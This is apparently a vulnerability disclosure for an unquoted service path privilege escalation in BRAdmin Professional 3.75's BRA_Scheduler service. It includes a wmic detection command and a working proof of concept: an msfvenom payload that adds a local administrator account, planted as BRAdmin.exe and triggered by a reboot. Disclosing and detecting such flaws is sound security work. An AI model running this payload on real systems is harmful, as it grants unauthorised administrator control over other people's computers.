BRAdmin Professional 3.75 - Unquoted Service Path
BRAdmin Professional 3.75 - BRA_Scheduler Unquoted Service Path Privilege Escalation
"BRAdmin Professional 3.75 software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices."
If a user can insert a executable which is called as "BRAdmin" under the
C:\Program Files (x86)\Brother\ directory , local system privileges could be obtained by the user. For example, an user that has administrative privileges can obtain
SYSTEM privileges through the vulnerable service. This situation is valuable, especially if additional writing permission is applied to
\Brother\ directory for unprivileged user.#Detection of unquoted service path:
C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """

1- User has a write privilege to
\Brother\ directory and creates msfvenom payload that adds new localadmin user to Windows computer.msfvenom -p windows/adduser USER=unsafe PASS=In.line13 -f exe > BRAdmin.exe
2- Then user downloads this executable under the
\Brother\ directory and restarts the computer.
For restarting computer from command line:
shutdown /r /t 0
3- After the restarting process ,
unsafe user will be created and added the local Administrators group.
Windows Defender will detect the
BRAdmin.exe executable as malicious after the unsafeuser is added the local administrators group if target didn't make last Windows update properly.
